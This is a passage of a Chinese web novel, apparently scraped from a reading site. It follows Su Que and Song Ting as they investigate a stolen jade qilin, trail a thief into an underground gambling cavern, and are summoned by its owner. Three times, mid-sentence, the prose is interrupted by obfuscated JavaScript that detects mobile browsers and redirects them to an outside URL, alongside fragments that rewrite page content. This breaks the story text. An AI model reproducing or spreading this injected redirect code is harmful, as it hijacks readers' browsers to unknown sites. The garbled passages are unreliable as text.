他的目光清亮，不确定中又带着希望。 王纪福像是不忍直视这样的目光，避开了视线。 他一脸忧心忡忡，唉声叹气道：“谈何容易啊，小兄弟。你想想，当时在场除了我们几个，可还有旁人？那玉麒麟不小，分量定然不轻，怎可能一眨眼的工夫，就消失得无影无踪？这……这根本非人力所能及啊！只怕是……”他说到这里，猛地打了个寒战，不敢再往下说。 “是，是不是……有鬼啊……”严丰廷缩坐在椅子上浑身发抖，泫然欲泣。 可无人能回答他这个问题。 谁也无法保证，在这一场里，他们又会遇到什么。 一股未知的恐惧在大堂内弥漫开来。 就在这时，账台后的阴影里，传来一声极轻的清嗓声。 众人一愣，齐齐望去。 只见那掌柜不知何时已站在账台后面，仿佛一直都没有离开。 “今夜赏宝大会，太守府中稀世珍宝玉麒麟失窃，大人震怒，特令予诸位七日之期，查明真相，寻回宝物。” 他微微停顿，目光在众人脸上逐一掠过，继续道：“每日入夜之前，诸位皆需亲往太守府，向太守大人禀报当日所获线索。自然，因诸位眼下亦有嫌疑，出入往来皆会有人随行，但并不会干涉诸位调查。七日之内，若能寻回宝物，太守大人自有重赏；若不能……” 他并未继续说下去。 未说完的部分，是一个关乎生死的赤裸裸的威胁。 接着，他陈列了几样东西在账台上。 “兑换之物亦在此处，若有需要，可随时寻我。望各位慎之重之，诸劫可破。” 苏却的目光扫过那些物件，与之前所见并无二致。 随后掌柜将东西一收，一如既往，无声无息地消失，又仿佛从未出现过。 大堂内再次陷入一片死寂，比之前更加压抑。 掌柜的话如同悬顶利剑，只等落下。 任世楚深吸一口气，试图重新掌控局面：“我们还是继续方才的话题。关于合作之事，目前只有姜姑娘和这位……”他目光转向一直沉默不语的苏却，一时卡住，不知如何称呼。 “他，他叫苏却。”严丰廷小声接话。 “哦多谢……和这位苏公子表明不加入。”任世楚目光扫过其他人，“那么，还有别人持相同想法吗？或者，有愿意信任任某，一同行事。多一个人，多一份力，也多一份照应。” 谢天戎眉头紧锁，顾虑道：“任大哥，我并非不信你。只是这次的情形似乎与我经历得不太一样。掌柜方才并没说什么时候给命筹，而是说每日需入夜前去太守府汇报。如果我们给的结果不如他的意，或是他觉得我们毫无进展，会不会当场就……” 他做了一个抹脖子的手势，继续道，“如此，我们个个毫无保留全盘托出还有什么意义？我倒觉得，不如先各自尽力寻找证据，看看接下来究竟会如何。” 王纪福思索了片刻，也附和道：“谢小兄弟所言不无道理。我觉得，要不，咱们先各自调查一天试一试？先看看这城内情形，也看看太守究竟是何态度，明日再商议是否要合作，以及如何合作。毕竟性命攸关，谨慎……” 他话音还未完全落下。 “咚！” 一声沉重的巨响从楼梯方向传来。 仿佛有什么重物从高处摔落。 众人一惊，看过去。 只见一个人影似完全控制不住地去势，从楼梯上翻滚而下。 他的身体一路磕碰，沉闷地撞击着木梯，手脚似乎想要触到什么，却只是徒劳。 随着最后一下重重的落地声，他终于瘫在了地面上，蜷缩着，半晌动弹不得。 唐柳一在旁侧倒吸一口气，朝着他的方向喊了一句：“没事儿吧？” 短暂的死寂过后，那人影先是止不住剧烈地咳嗽。 他一边咳，一边在地上痛苦地翻来覆去左右打滚，一边还在中气十足地哀号：“哎哟疼死我了，摔死我了……哎唷我的腰，我的胳膊腿儿，肯定都断了……” 这声音…… 苏却只觉得头皮猛地一紧。 自己好像是被这个阴魂不散的无赖给彻底缠上了。 自从那日宋停自作主张要搬进她家，而她恰好被罚整理籍库后，她便干脆宿在了籍库，再未归家。 一日三餐，都是挨了罚在衙门灶房帮工的小五偷偷给她捎来，日子倒也清静。 只偶尔听小五提过一两句，说宋停曾在衙门口徘徊想寻她，被值守的衙役不耐烦地轰走了。 故此刻再见宋停，且是以如此阵仗出现，苏却只觉得棘手头疼。 上一次的人，这一次并未再遇见，就足以证明每次的人都大概率是不同的。 既然如此，宋停为什么他总能找到她？ 而且，离开这里以后，明明她已经什么都不记得了，为何宋停什么都没忘呢？ 他到底是什么人？ 又到底带着什么目的在接近她？ “这、这这这……这是什么？！”王纪福惊得声音都变了调，手指颤抖地指着瘫在地上的宋停，嘴唇哆嗦着，“还，还有第八个人？从、从哪儿冒出来的？！从楼上摔下来的？楼上什么时候有人了？！” 宋停哎哟哎哟地哼哼着，浑身上下地乱揉一气，龇牙咧嘴，准备起身。 听到问话，宋停根本控制不住自己的嘴，连忙接道：“我啊，是这客栈里修行的……哎哟……吊死鬼，专吃你们这种无胆鼠辈……” 说罢，他还极其应景地翻了个白眼，伸长了舌头，做了个蹩脚的鬼脸。 严丰廷本就胆小，被他这么一吓，竟“啊”的一声惊叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324520|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，下意识地连连后退，一下子撞到了正闭目凝神的姜云姮身上。 “对、对不住！姜姑娘！对不住！”严丰廷慌得脸都白了，边道歉边手忙脚乱地想站稳，却又一不小心踩到了站在一旁的谢天戎的脚。 “啧！看着点！”谢天戎吃痛，不耐烦地瞪了严丰廷一眼。 “哈哈哈哈哈哈哈！”一旁的唐柳一被宋停狼狈还装神弄鬼的模样逗得哈哈大笑起来，“哎哟喂，都摔成这样了，还贫嘴呐！” 任世楚审视着这个不速之客，沉声问道：“这位……公子，如何称呼？” 宋停好不容易从地上爬起来，扶着腰站直了，眼珠一转信口胡诌道：“我叫宋八人。” “哈哈哈哈哈哈哈！”唐柳一笑声更大，前仰后合，几乎喘不上气，“宋八人？你真叫这个名儿啊？” 谢天戎极为不屑地哼了一声，白了唐柳一一眼：“脑子缺根筋！人家随口胡诌的假名，这你也信？看他这样儿，哼！” 任世楚看着眼前这愈发混乱、难以收拾的场面，知道今夜再难商议出什么结果。 他双手按着桌面起身，总结道：“既然如此，那便暂且依大家所言，明日先各自调查，看看情形如何，后续再议。” 他指了指桌上摆放的几盏烛台：“那我们便早些休息吧，养足精神，明日方好行事。两位姑娘还请先选房间。” 唐柳一是个直爽性子，闻言点点头，取了一盏烛台，几步就跨上了二楼。 姜云姮亦起身，对着众人微微一福，声音温婉：“多谢任公子安排。”说罢，她也托起一盏烛灯，上楼而去。 其余几人见状，也陆续取了蜡烛，默默回房间去了。 大堂之内，很快便只剩下苏却，以及还在揉着摔疼之处抽气不止的宋停。 “你，”苏却的声音在空寂的大堂里显得格外清冷，“怎么来的？” 宋停停下揉搓的动作，抬起脸。 他的脸上沾着灰尘，额角也有擦伤，烛光映得他脸色有些苍白。 “想来……不就来了咯？哎哟……我说苏大人，你可真是好生无情啊。把我一个人扔在你家院子里，不给钱也不管我死活，就让我自生自灭？”他抱怨道。 “给了。”苏却面无表情地吐出两个字。 她清楚地记得自己离开时，在桌上留下了足够寻常人家吃用十日的银钱，他就一个人，怎么花也够了。 “我日日都做了不少饭菜等你回来，可谁知……”宋停立刻叫屈，“再说了，这么久不见，你也不问问我过得好不好？睡得香不香？方才摔得疼不疼？你亲手救的命，也这般不闻不问吗？” 他一边说着，一边又浑身上下胡乱揉了一遍。 “……”苏却只是沉默地看着他。 宋停被她看得渐渐有些笑不下去了，便道：“好了好了，说正事。现在是什么情况？你们刚才在商量什么？” 苏却言简意赅，将方才的提议、掌柜的话以及七日之期简述了一遍。 宋停听罢，惯常的嬉笑消失无踪。 他极其严肃地看着苏却的眼睛，问道：“是谁提出这个法子的？是那个刚刚问我姓名的那个吗？” 苏却没有回答，反问道：“你觉得此法不妥？” 宋停眸光一暗：“苏却，你有没有想过一个可能，一个很坏的可能……假如，最后所有的人都死了，只剩下你一个人的时候……” 他顿了顿，问出了一个毛骨悚然的问题： “你，会是死，还是活？” 22. 窃宝（三） 窃宝（三） 宋停这个问题，如同一颗石子投入深潭。 她确实从未深思过。 上一次十人对应十日。 此番七人，又恰是七日。 所有人似乎都心照不宣地承认着这一条规则。 命筹的末位，便是每日的一次审判，或生或死，直至终结。 譬如上一次的卫成风，虽借道具改变末位，却还是阴差阳错地丧了命； 又譬如曾经是末位的周远至，不知是什么原因让他逃过了一劫。 总之一日一人，可每个人又都暗存着一丝侥幸。 谁也没觉得自己，会是死在这里的人。 就像她从不认为自己会困顿至最后一刻，才能破局。 所以，苏却没有回答宋停的问题。 思绪翻涌间，两人已踏着楼梯，行至二楼廊道。 其余房间皆已门户紧闭，烛光昏黄。 唯有左手边第一间厢房还敞着门。 宋停双手一摊，肩头微耸，嘴角向下一撇，脸上摆着一副“谁让你最后上来与我无关”的神情。 苏却全然无所谓，径直大步迈入房中。 她身着男装行走于世多年，早已习惯模糊这世间强加于肉身皮囊上的诸多界限。 在她眼中，众生皆为血肉，性命皆只一条。所谓的男女大防，不过是世俗套在人性之上的又一道无形枷锁。 她早已入戏太深，心中唯剩仇恨，才将枷锁缚于己身，在负重中独行至今。 除此之外，再无一物。 屋内陈设一如之前的简陋。 只是，当她毫不犹豫地将床上唯的枕头拿起，随手扔给跟在身后进来的宋停时。 她看到，枕头下面，赫然放着一把匕首和一小截蜡烛。 这不是人人都有的。 蜡烛是那时的新娘塞在她手里的。 而这匕首…… 若非她当时自己清醒过来，这匕首，就是让她丧命的东西。 这两件物品会出现在这，那就必定在选房之后，是跟随她，属于她的物品。 苏却手一挥，将两物贴身藏好，又利落地褪下外袍和靴子，只着一身素色中衣，背对着外侧躺下，占据了里面小半张床，动作流畅自然。 宋停下意识接过那只扔来的枕头，愣了一瞬，低头看了看手中之物，又抬眼看了看床上已然背对着他躺下的苏却。 他摸了摸鼻子，也将枕头随手一丢，脱下外衣，却只是简单在地上摊开，直接仰面躺了上去，双臂枕在脑后，跷起一条腿，倒是未见半分嫌弃之色，仿佛习以为常。 两人再无多言。 不多时，皆已沉沉入睡。 …… 不知过了多久，苏却被楼下一阵阵拳脚破风的呼喝声惊醒了。 她倏地睁眼，浑身戒备。 可侧耳凝神细听，那声音规律有劲，并非打斗喧嚣，倒像是……晨起练功？ 她迅速起身，穿戴整齐，推开房门。 恰在此时，对门的房门也“吱呀”一声打开了。 姜云姮走了出来。 她未施粉黛，却难掩美丽，只是今日眉宇间带着一丝倦怠，几分憔悴。 她对着苏却微微一笑，目光又掠过苏却身后正揉着眼睛从地上挣扎起来的宋停，眼神停顿了一下，随即迅速恢复如常，微微颔首，声音柔婉。 “苏公子，宋公子，早。” “早。”苏却简短回应。 宋停则是一边伸着懒腰，一边含糊不清地嘟囔：“早啊姑娘……啧啧，这一大早的，谁这么精神头足，扰人清梦……” 三人一同下楼。 只见客栈大门已经打开，能够看到外头站着守门的院兵。 任世楚正在大堂空处练拳，动作刚猛凌厉，步伐扎实，拳风呼啸，确实有练过的底子。 他见几人下来，便收了势走过来，道：“几位也起了？晨起活动活动筋骨，最是醒神提气。” 他目光敏锐，在苏却和宋停之间转了转，笑问道：“看来二位，是旧识？” 宋停抢先道：“我不认识他。” 苏却面无表情，对这几个字既不承认也不否认。 宋停继续道：“不过少了间房，又不能睡大堂，只能凑合一下了。我还得多谢苏兄收留之恩，肝脑涂地都无以为报。若此时掌柜在场，我可要掀桌子骂人了。” 任世楚闻言，浓眉微挑，若有所思地瞥了眼二楼方向，道：“原来如此。这人数与房间不对等的情形，我也是头一回遇上，倒是稀奇得紧。” 正说话间，楼上其余几人也陆续拖着疲惫的步伐下来了。 谢天戎一边下楼梯，一边接连打着哈欠，眼睛半眯着，甚至有些湿润，脚步都有些虚浮。 王纪福亦是满脸倦容，眼袋浮肿，唉声叹气。 严丰廷眼底布满了红血丝，脸色比昨日还要苍白几分。 任世楚见状，不由奇道：“这是……昨夜没休息好吗？怎么你们一个个都如此疲惫不堪？” “任大哥，你难道没听见吗？外面！客栈外面！吵了整整一夜！那声音……忽远忽近忽大忽小，像是很多人聚在一起，有讲话声，有尖笑声，还有莫名其妙的叫骂声……从没停过。”谢天戎揉了揉太阳穴，语气里满满的烦躁。 姜云姮也蹙眉附和道：“确有其事。昨夜外间喧哗异常，令人心绪不宁。我也是用锦被蒙头，辗转反侧，才勉强合眼片刻。” 王纪福和严丰廷忙不迭地点头。 而唐柳一正坐在桌边，一手拿着个馒头，一手端着碗稀粥，大口吃得正香。 她对这边的讨论似乎毫无兴趣，甚至疑惑地瞥了几人一眼，含糊道：“有吗？我怎么什么也没听见？” 苏却闻言，下意识地侧头，与宋停对视了一眼。 两人目光相接，皆从对方眼中看到了疑惑。 他们二人一夜无梦，更未曾听闻任何异响。 苏却醒的时候，看见宋停正笔直地躺在地上，呼吸清浅，几不可闻，竟透出一种尸身的死气。 所以起身经过的时候，她踢了他一脚，他才不情不愿地醒来。 一半为报之前抓周远至时的一脚之仇，另一半…… 众人心思各异用着客栈提供简单的早饭。 饭毕，苏却搁下碗筷，便起身欲出门探查。 宋停见状，慌忙将碗里最后一口粥扒拉进嘴里。 那口粥显然还很烫，烫得他龇牙咧嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330091|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，直抽冷气。 可他顾不上，胡乱咽下后将碗筷一推，急匆匆就跟了上去。 一名身着太守府号衣、腰佩短刀的护院兵也立刻跟在他们身后。 苏却脚步未停，目光计数，连同眼前这名，恰好七名兵丁。 与他们人数一致，并未将宋停算在其中。 行至街口，虽然晨雾尚未完全散去，街市上人渐渐多了起来。 苏却给了身侧的宋停一个眼神。 宋停立时心领神会。 他忽然指着远处一个挂着各式各样风车、泥人的小摊，夸张地大叫一声：“哎呀，那玩意儿真好看！” 说着，便做出一副被吸引的模样，欢快地朝着与苏却方向相反的街口跑去。 后面的院兵明显愣了一下，脚步一顿，几次回头看宋停，最终还是紧紧跟住苏却。 宋停在街角绕了一圈，借着几个挑担货郎的遮挡，没多久便又小跑着回来。 他气息微喘，侧身低头，压低声音对苏却道：“看吧，他就盯死你了，根本不管我。看来在这帮木头兵眼里，我是个自由身，可以想做什么就做什么。说吧，苏大人，接下来咱们去哪儿？是不是该直捣黄龙，去那太守府里探探虚实？去看看那太守老头丢了宝贝，急成了什么样。” 苏却脚下步伐不停，摇头。 此事绝非寻常失窃案那般简单。 从昨晚那场宾客稀少却故作热闹的“赏宝大会”，到灯火通明却宛如空壳的太守府，再到那尊玉麒麟只在黑暗瞬间便消失无踪…… 这一切，环环相扣，严丝合缝，像是一个早已设好的陷阱，正等着他们这些“贵客”自行踏入。 此时此刻，重返太守府，根本毫无意义。 苏却只是一个劲儿地朝向人流走去。 街道两旁店铺林立，叫卖声、讨价还价声、车马辚辚、孩童嬉闹……相比上一次的城中街市，这里显得鲜活又喧嚣。 忽然，苏却脚步一滞。 前方不远处有一个衣着光鲜配饰不凡的富家公子哥。 他被一个卖脂粉的摊子吸引，停驻脚步，指着几盒香粉正与摊主高声说笑。 一个穿着灰布短打，瘦小如猴儿的身影贴近了他。 人群成了最好的掩护。 只见那身影手指纤细，快得只留下一道残影，在那公子哥腰间轻轻一拂、一勾、一拽，腰间玉佩已悄无声息地滑入其手中。 全程干净利落，令人叹为观止，若非眼力极佳，几乎就要错过。 得手后，那小贼身形一矮，脑袋一缩，又如泥鳅一般，滑入熙攘的人群，而那富家公子仍浑然未觉。 几个闪身，瞬间消失不见。 宋停看得分明，恍然大悟。 他连忙凑到苏却跟前兴奋道：“我懂了。无论窃的是玉麒麟还是这腰间佩玉，既已得手，总要寻个出处脱手换钱销赃。只要我们盯紧城中这些鬼市、当铺、黑店，抽丝剥茧，顺藤摸瓜，说不定就能……” 小贼动作敏捷，几个闪身，在人群中几乎消失。 苏却未等宋停说完，食指竖起放在唇间，另一只手一把拽住宋停袖子。 她快速跟上刚才的小贼，几人身影很快便没入了涌动的人潮之中。 23. 窃宝（四） 窃宝（四） 那小贼身形瘦小，专挑人多处钻行。 苏却与宋停不敢跟得太紧，眼见那小贼七拐八弯，不多时，竟偏离了热闹的主街，折入偏僻的巷道。 虽同方向亦有三两行人，但周遭景致已与方才的繁华大相径庭。 屋舍低矮破败，路面坑洼不平，越行越是荒凉。 最终，那小贼脚步不停，竟径直走向前方荒芜的一座孤坟。 这坟冢墓碑无一字铭文，冢周不见一根杂草，更无一星半点的祭品贡品，光洁得异常。 他并未停留祭拜，左右扫视一圈确认无人注意后，蹲下身。 只听“隆隆”一阵，那石冢竟然露出了一个口子。 先前同方向行来的那几人，此刻也陆续赶到，彼此并不交谈，只默契地一个接一个，鱼贯钻入洞口之中。 随后，那石冢复原，严丝合缝，从外看去，毫无异样。 苏却连忙跟过去，学着小贼的姿势蹲下身，摸索着，指尖突然触到墓碑一处。 “隆隆——” 入眼竟是一口漆黑的大棺材。 那棺木看似厚重，但前端挡板却并非钉死。 用力一推，前档可以活动，露出仅容一人蜷身钻入的空间。 宋停抢先一步，俯身向内探看，随即缩回头，咧嘴一笑：“苏却，你怎么总能撞见这些玄妙秘道？这回倒好，直接钻人祖坟了。” 这是一口用不蛀不腐的上等松木做成的假棺。 从前挡钻入棺材后，一股土腥味扑鼻而来。 他们脚下并非是棺材底板，而是一道近乎垂直的木梯。 那木梯极为窄小，每一级踏板仅能容下大半只脚，且异常陡峭。 人需背靠着木梯，面朝外，全身紧绷，手脚并用方能一步一步缓慢地向下方挪动。 几人上下相接，缓缓向下。 下了木梯，脚下一实，终于松一口气。 四周是挖出的密道。 苏却稳住身形，迅速环顾。 这密道并非单一方向，前后左右竟皆有通道延伸而去。 但唯有右手边的一条通道旁壁上，插着一支在燃烧的火把。 这地下密道，竟用火把指路？ 寻常这等所在，为防外人轻易察觉，多为隐秘漆黑，需自备灯火深入。 且火把消耗气息，若通风不佳，极易令人窒息…… 虽心下存疑，但眼下唯有这一条路有火光指引。 苏却、宋停和身后确如木头一般的护院兵遂沿着这条通道谨慎前行。 虽然沿途火把数目并不多，且几乎不是用于照明，而是指路。 但在地下，这已经足够奢侈。 走了很长一段，寂静的通道中，隐隐传来了有人讲话的声音。 准确地来说，是有人笑，有人讲话，有人高喊，有人骂人的声音……和谢天戎描述夜半客栈外面的声音一模一样。 宋停难以置信，道：“这，这不是……” 苏却点头，三人继续往前走。 没过多久，眼前终于豁然开朗。 他们正站在山洞的壁边，往前几步，便是一道依着洞壁开凿而成的陡峭石阶，蜿蜒向下。 而眼前，仿佛是一个被掏空了山腹的巨大洞窟。 这洞窟之大，远超想象。 洞顶高悬，距离地面少说也有十数丈，其上怪石嶙峋，四周挂着无数烟雾缭绕的油灯和松明火把，将这片空间照得一片昏黄迷离，纸醉金迷。 环壁看去，并非只有他们这一处入口。 每个洞口之外，都同样延伸出一条一条通往洞底的石阶，就像一条一条从黑暗中探出，高仰起头颅的毒蛇。 而他们，正处于蛇口，待入蛇腹。 在这里，人声鼎沸，乌烟瘴气，疯狂又堕落。 密密麻麻，数以千百计的赌桌就如同一格一格的棋盘一般，铺在洞窟里，每一张桌子周围都里三层外三层地围满了赌徒。 这些人男女老少，贫富贵贱，三教九流，形形色色。 有身着绫罗绸缎，趾高气扬的富商巨贾，一掷千金而面不改色； 有衣衫褴褛、面黄肌瘦的升斗小民，攥着最后几枚铜钱，眼中写满了不甘； 甚至还有几个穿着差役号服的人影，赌得忘乎所以，早已将公务抛诸脑后。 每一张脸上都深深烙印着欲望与疯狂。 赢家满面红光，发出刺耳的狂笑，将金银随意抛洒； 输家则面色惨白如纸，冷汗涔涔，捶胸顿足，嘴里不停咒骂着双目所视的一切，甚至命运。 金银、筹码，在桌上被疯狂地推来推去。 骰子在竹蛊中摇动的哗啦声、骨牌与木桌面碰撞的响声、庄家“买定离手”的吆喝声、衣着暴露的女子娇笑着的劝酒声、醉汉含糊不清的咆哮与呓语…… 无数声音扭曲、混合、膨胀，汇聚成一股庞大、混乱的声浪，在这巨大的地下洞窟中冲撞、回荡，几乎要掀翻这不见天日的穹顶。 苏却眉头紧蹙。 这污浊得令人窒息的空气让她极为不适。 而那个他们一路追踪而来的小贼，早已消失在这片疯狂混乱的人潮之中，再无迹可寻。 “现在怎么办？”宋停凑近苏却耳边，不得不吼着才能让她听清，“这里又大又乱，我们怎么找？” 苏却沉默着，薄唇紧抿。 她注意到，这庞大的地下赌场虽看似无序，实则暗藏规矩。 不同的区域之间进行着不同等级和玩法的赌局，泾渭分明。 越是靠近洞窟中心区域，赌桌便铺着锦缎，越是宽大华丽。 围着的赌客衣着光鲜，气度不凡，身边还簇拥着端茶递水、摇扇捶腿的侍从。 他们下注的银钱、筹码数字也更为惊人。 而越是边缘地带，则越是混乱不堪，赌注小而杂，围着的多是些眼红脖子粗，试图翻身的穷汉。 就在他们正准备下去近距看看之时，一阵剧烈的惊呼从中心区域爆发出来，似乎发生了什么惊天动地的大事。 人群骚动起来，纷纷向那个方向涌去，嘴里兴奋地议论着什么。 “老天！连开十七把小！” “快去看看！” 苏却与宋停交换了一个眼神，飞快地沿壁边石阶而下，混入人群，顺势跟着涌动的人流向前移动。 挤过层层叠叠的人群，他们终于看见了中心赌桌的情景。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336714|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张宽大无比的赌桌上，堆满了金银元宝。 赌桌主位旁边，坐着一个三十岁上下的男子，面容瘦削，肤色苍白，穿着一身暗蓝色锦袍，手指上戴着一枚硕大无比的翡翠扳指。 他神态悠闲，甚至有些慵懒地靠在椅背上，喝着茶，似乎对眼前发生的一切毫不在意。 他身后，一字排开站着四名身着黑衣的护卫，个个气息沉稳内敛，神色警惕。 而他身旁是一个神色得意的华服少年。 听周边人对他的称呼，似乎是哪家的少爷。 与这少爷对赌的，是一个已然输红了眼的壮汉。 那人身材魁梧，此刻却面色惨白，浑身颤抖，双眼几乎要瞪出眼眶。 他将面前最后一堆银钱和一张皱巴巴、盖着红印的纸猛地拍在桌面上，声嘶力竭地吼道：“全押！老子全押上了！连城外那五十亩水田的地契也押上！老子就不信这个邪！还能连开十八把小不成？！” 那蓝袍男子闻言，嘴角向上勾起一丝弧度。 他并未看那壮汉，只轻轻放下了手中的茶盏，朝身旁一名护卫微一颔首。 那护卫立刻上前，面无表情地收走了那张作为赌注的田契。 另一名护卫则端来一盘白花花的银子，重重放在那壮汉面前。 蓝袍男子起身，绕到壮汉身后，双手按在他的肩头。 他俯身凑到壮汉耳边，笑容温和虚伪，道：“朱爷，银子，您拿去翻本。只是这田契，七日不赎，便是死当。届时，可就莫怪鄙人按规矩办事咯。” 掷骰者得到示意后，捧起黑漆骰盅，开始上下左右摇晃起来，骰子在盅内哗啦作响。 所有人的呼吸都屏住了，目光死死盯住那双翻飞的手和手中的骰盅。 苏却的目光却被那蓝袍男子身后一个做工精巧的木盒吸引了。 木盒盖并未完全扣紧，微微开着一道缝隙。 缝隙中露出的绸缎一角，看着与昨日太守府中，那玉麒麟底下垫着的，很像。 非常相像。 就在这时，骰盅重重扣在桌上！ 缓缓揭开。 赌局已见了分晓。 那壮汉发出一声绝望至极的嚎叫，整个人瘫软在地，面如死灰。 而周围的人群则爆发出震耳欲聋的惊呼，以及幸灾乐祸的哄笑。 蓝袍男子缓缓起身，脸上依旧没什么明显的喜色，目光随意地扫过人群，与苏却的视线有了一瞬间的碰撞。 那眼神深不见底，冰冷得像毒蛇的信子。 苏却几乎没有任何迟疑，拉住宋停的胳膊，急促无比：“走！快！” 说罢，她毫不犹豫地转身，迅速朝着他们来时的方向移动。 宋停虽不明所以，但见她神色是从未有过的凝重，立刻闭嘴，紧紧跟上。 然而，他们刚艰难地挤出人群没多远，还未及喘口气，前路便被人堵住了。 封死。 正是方才站在那蓝袍男子身后的四名魁梧护卫。 为首一人上前一步，朝着苏却和宋停看似客气地拱了拱手，脸上却毫无笑意，声音强硬： “二位客官面生得很，想必是第一次来。我家主人想请二位移步，喝杯清茶，请吧。” 24. 窃宝（五） 窃宝（五） 人已来请，不好拒绝。 苏却和宋停被带到蓝袍男子面前，自然也没漏掉他们的小尾巴“木头人”。 蓝袍男子看到跟在他们身后的护院兵后，嘴角一提，笑道：“怎么，你们是太守的客人？” 护院兵一见他，也是恭恭敬敬地行了一个礼。 宋停站在赌桌前，居高临下地看着坐在椅子上的男子：“你开的是赌场，做的是开门生意，来者便是客。我们一没赖账二没闹事，不过是瞧着新鲜，进来开开眼界。断没有强留客人，为难我们的道理吧？” “是吗？”男子敛了几分笑意，眼睛一眯，“我这赌场迎来送往，规矩倒也简单。来的，要么是散财寻乐的真神仙，要么是搏命求财的亡命徒。可你两手空空，四处乱瞟，并不是来花钱的，也不是来赚钱的。那么，我倒真想问问，你来干什么？” 他并未从椅子上站起来，依旧是慵懒地斜倚在扶手上，手支着脑袋，看似漫不经心，却透着精明算计。 苏却上前一步，挡开半个宋停，抱拳拱手，声音平静：“不巧，今天出来的时间久了，我们还要回太守府，多谢盛情相邀，我们明日再来拜访，先告辞。” 闻言，蓝袍男子饶有兴致地盯着苏却看了很久。 他笑道：“我看见你的第一眼，就知道你心中，定有所求。” 接着，他随意地抬起手，身后的护卫就将一张纸递过去，放在他的两指之间。 他夹着那张纸，按在赌桌上，推向苏却。 “明天，我在这里，候您大驾。” 说罢，他把玩着拇指上那枚大扳指，不再看二人，起身准备离开。 片刻后，他才像是忽然想起什么，行过身边时抛下一句：“对了，正巧，太守府的小少爷在我这儿玩得尽兴，多饮了几杯。你们既然要回府，便顺路将他一同带回吧，也省得我的人再跑一趟。” 苏却拿起那张纸，上面只写了四个大字： 诡闻当铺 她将字条捏在手心，道：“走。” 宋停回头瞪了一眼“木头人”，冷哼一声，没好气道：“听见没！带上你家的少爷！走！” 锦衣华服的少爷刚刚狠赢了一局，正是春风得意。 此刻，他左手搂着一个姑娘，右手拿着酒杯，在赌桌不远处满面潮红东倒西歪。往来敬酒恭贺的人络绎不绝。所以在他们过去的时候，少爷还眼神迷离地往他们身边撞。 “喝，继续喝！” 跟着太守府少爷一起在赌场的，还有一个老管家模样的人。 见他们过来，尤其是见到“木头人”的号衣时，便似看见了救星，连忙迎了上去开始絮絮叨叨的抱怨。 说少爷怎么怎么说怎么怎么做，讲又讲不听，带又带不走，说自己怎么怎么无能为力。 苏却听得心烦，一个掌刃劈过去，“木头人”顺势扛上肩，宋停一掌捂住管家的嘴，叫他带路，干净利落。 他们并没有走一开始来赌场的那条密道。 即便密道之间看起来很相似，但苏却暗暗数了，墙上火把的数量并不一致。 费尽九牛二虎之力，将少爷运上陡峭木梯，推开棺材前挡板，打开密道开关后，他们一行总算重见天日。 天色还亮，但也已经夕阳西下。 管家带着他们穿过这座孤坟园子，又经过几个廊道，开了几扇侧门。 再出来，他们已经身处太守府内的后花园了。 不远处就是那晚的楼阁。 将少爷交给管家后，“木头人”转身对苏却道：“你随我来，我带你去找太守。” 没叫宋停。 苏却跟着护院兵进入楼阁，却未往上走。 底层右手边一排珍宝架子后，有一条小走道，尽头是一雅间。 护院兵停下脚步，示意苏却自行进入。 推开门，室内正在焚香，太守并未如昨日那般暴怒，而是独自坐在窗边。 见苏却进来，他抬手示意她坐下，甚至亲手斟了一杯茶推到她面前。 “犬子顽劣，屡教不改，多谢寻回，本官在此谢过。”太守开口，语气平和，甚至带着一丝感激。 苏却并未去碰那杯茶，只是依礼略一欠身：“大人言重。并非在下之功，实是巧合。” 她简单说明了当时情况。 太守听着，脸上并无太多意外，只是深深地叹了一口气。他放下茶壶，从袖中取出一个沉甸甸的锦袋，递给苏却。 “一点心意，务必收下。今日辛苦了，回去好生歇息吧。”他挥了挥手，竟对查案进度只字未提，仿佛昨日那桩惊天动地的失窃案从未发生过。 苏却拿起分量不轻的钱袋，起身告辞。 出了楼阁，宋停立刻迎了上来，满脸好奇。 苏却将钱袋抛给他，宋停接过掂了掂，咋舌道：“嚯，分量不轻！这太守老头倒是大方。不过……这就完了？” “嗯，他什么都没说。”苏却道。 “这样的话，只看我们这边的线索，玉麒麟一定就在赌城或者当铺里。那人说七天不赎就是死当，所以给你们破案的期限就是七天，简单明了。” 苏却思忖了一会儿，道：“仅是这样，会不会太过简单。” 宋停不以为然，驳道：“纸人那边我觉得也不难啊。让城主自己放弃，本就是最好的做法。地点一共只有两处，不是新娘家，就是城主府，我不相信十个人十天全都会耗费在真假新娘的身上，只要有人想到去城主府深查，总能发现端倪……” 苏却沉默了一瞬，道：“可如果不是赵文安恰好来抢亲，我并没有足够的时间破局。” “不会，”宋停道，“你还有我。” 